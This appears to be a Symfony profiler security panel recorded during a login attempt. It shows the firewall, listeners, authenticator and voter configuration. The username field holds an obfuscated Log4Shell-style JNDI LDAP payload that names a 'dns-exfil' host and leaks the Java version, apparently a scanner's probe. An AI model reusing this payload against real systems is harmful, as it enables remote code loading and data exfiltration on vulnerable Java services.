Security
Token
There is no security token.
Firewall
main
Name
Security enabled
Stateless
Configuration
| Key | Value |
|---|---|
| provider | security.user.provider.concrete.app_user_provider |
| context | main |
| entry_point | App\Security\CustomAuthenticator |
| user_checker | security.user_checker |
| access_denied_handler | (none) |
| access_denied_url | (none) |
| authenticators | [
"App\Security\CustomAuthenticator"
] |
Listeners
| Listener | Duration | Response |
|---|---|---|
Symfony\Component\Security\Http\Firewall\ChannelListener {#207 -map: Symfony\Component\Security\Http\AccessMap {#208 …} -authenticationEntryPoint: null -logger: Symfony\Bridge\Monolog\Logger {#170 …} -httpPort: 80 -httpsPort: 443 } |
0.00 ms | (none) |
Symfony\Component\Security\Http\Firewall\ContextListener {#215 -tokenStorage: Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage {#102 …} -sessionKey: "_security_main" -logger: Symfony\Bridge\Monolog\Logger {#170 …} -userProviders: Symfony\Component\DependencyInjection\Argument\RewindableGenerator {#216 …} -dispatcher: Symfony\Component\EventDispatcher\EventDispatcher {#193 …} -registered: false -trustResolver: Symfony\Component\Security\Core\Authentication\AuthenticationTrustResolver {#172 …} -rememberMeServices: null -sessionTrackerEnabler: [ Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage {#103 …} "enableUsageTracking" ] } |
0.13 ms | (none) |
Symfony\Component\Security\Http\Firewall\AuthenticatorManagerListener {#220 -authenticatorManager: Symfony\Component\Security\Http\Authentication\AuthenticatorManager {#221 …} } |
0.99 ms | Symfony\Component\HttpFoundation\RedirectResponse {#261 #targetUrl: "/login" +headers: Symfony\Component\HttpFoundation\ResponseHeaderBag {#263 …} #content: """ <!DOCTYPE html>\n <html>\n <head>\n <meta charset="UTF-8" />\n <meta http-equiv="refresh" content="0;url='/login'" />\n \n <title>Redirecting to /login</title>\n </head>\n <body>\n Redirecting to <a href="/login">/login</a>.\n </body>\n </html> """ #version: "1.1" #statusCode: 302 #statusText: "Found" #charset: "UTF-8" } |
Symfony\Component\Security\Http\Firewall\AccessListener {#223 -tokenStorage: Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage {#103 …} -accessDecisionManager: Symfony\Component\Security\Core\Authorization\TraceableAccessDecisionManager {#224 …} -map: Symfony\Component\Security\Http\AccessMap {#208 …} -authManager: null -exceptionOnNoToken: false } |
0.00 ms | (none) |
Authenticators
| Authenticator | Supports | Duration | Passport |
|---|---|---|---|
"App\Security\CustomAuthenticator" |
0.34 ms | Symfony\Component\Security\Http\Authenticator\Passport\Passport {#251 #user: null -badges: [ "Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge" => Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge {#250 -userIdentifier: "${${bhm:jk:-j}${tn:-n}${vu:-d}${y:-i}${y8g:0ec:-:}${zy7l:-l}${tg:ofu:ej:-d}${xmg:l:-a}${n70:5b:rz:-p}${zpo:-:}${1vw:-/}${9i:y7:-/}${6q:ikml:-U}${1:n:-N}${6p:-l}${cox:8:q7:-0}${7g:o14:7ej:-c}${fc:i:--}${${k:-s}${dbax:-y}${5w:u0:-s}${v:p0mn:-:}${z:2u:-j}${wxhy:-a}${es6:qb0:c:-v}${rg:s4:-a}${yh:tues:07:-.}${u:3p5n:pqwc:-v}${s5xz:-e}${1l:y:-r}${2t:x:-s}${l:-i}${lpo7:-o}${4sc:l9wc:-n}}${54mn:p:-.}${lwe:sdu:-b}${grfi:-3}${pthr:-4}${1l:bk:v:-2}${jl:cp:y4q7:-0}${egr:-d}${u8v0:1:-a}${q:-8}${dutz:-7}${o:7l:3:-2}${o:t4m5:-2}${h:k4:-6}${xsu:-6}${eq38:m6sp:-c}${b:8juo:9wa:-e}${lg:2p3:-6}${h183:9z:m:-4}${rox:-e}${uj:-1}${0d:mfq9:u:-5}${x:-c}${hgfs:2ltp:lf:-f}${9:h:e4b:-a}${il:6:-2}${vmai:-2}${y1tu:-e}${9:g:-a}${wt:r0v:-3}${qs:-5}${o1j:m4k3:-1}${jf:l:qvzu:-4}${k:bs:-0}${us:zied:3w5:-3}${4:-3}${p0:9:-8}${3m:qm:4eg:-f}${3f0y:jxd:6:-d}${b7g6:-9}${jhc:f90:-0}${9:t6r:-e}${a13:-2}${pq:plo0:gm6:-a}${70n:t:-.}${gok:d:-d}${5g:14:-n}${ej2h:l:aqtx:-s}${vt79:0bzf:94i:--}${7:-e}${c9:p:-x}${x:p:6ls4:-f}${soym:-i}${ot:-l}${x73:8:vf:-.}${50vi:t0:fg:-m}${a08:-a}${z:2i:-s}${n:pd:py:-m}${5g:-c}${ukl:2cl:-o}${html:-r}${8b:8t96:-e}${z3:--}${0i:-c}${9j:fdp:-f}${lx:ml:luza:--}${b:l97g:-p}${6:-r}${nse5:-o}${jhal:-d}${pn:h9:--}${cuw:nesp:-0}${85:4k6i:oh1:-2}${nf83:lis:296:-.}${1ps5:31kg:ej6q:-m}${z61q:8:-a}${m9uw:zuar:-s}${tf:pfv:-m}${x2r:-.}${g:wxvz:-c}${xkl:kud:-l}${uh:52:8:-o}${t1:b:4m:-u}${h:c2u:-d}${rq:1:-f}${btu:w4cg:-e}${n:q:-r}${1:5xyn:-r}${os:-y}${1yk:c:-.}${rkzy:4x:82yn:-g}${fz0a:b9t:i5:-o}${axg9:rukj:-o}${s2:6:-g}}" -userLoader: [ Symfony\Bridge\Doctrine\Security\User\EntityUserProvider {#240 -registry: Doctrine\Bundle\DoctrineBundle\Registry {#239 …} -managerName: null -classOrAlias: "App\Entity\MyUser" -class: null -property: "username" } "loadUserByIdentifier" ] -user: null } "Symfony\Component\Security\Http\Authenticator\Passport\Credentials\PasswordCredentials" => Symfony\Component\Security\Http\Authenticator\Passport\Credentials\PasswordCredentials {#249 -password: "fa050ed294107a344d285c9b71983868" -resolved: false } "Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge" => Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge {#248 -resolved: false -csrfTokenId: "authenticate" -csrfToken: null } ] -attributes: [] } |
Access Decision
affirmative
Strategy
| # | Voter class |
|---|---|
| 1 | "Symfony\Component\Security\Core\Authorization\Voter\AuthenticatedVoter" |
| 2 | "Symfony\Component\Security\Core\Authorization\Voter\RoleVoter" |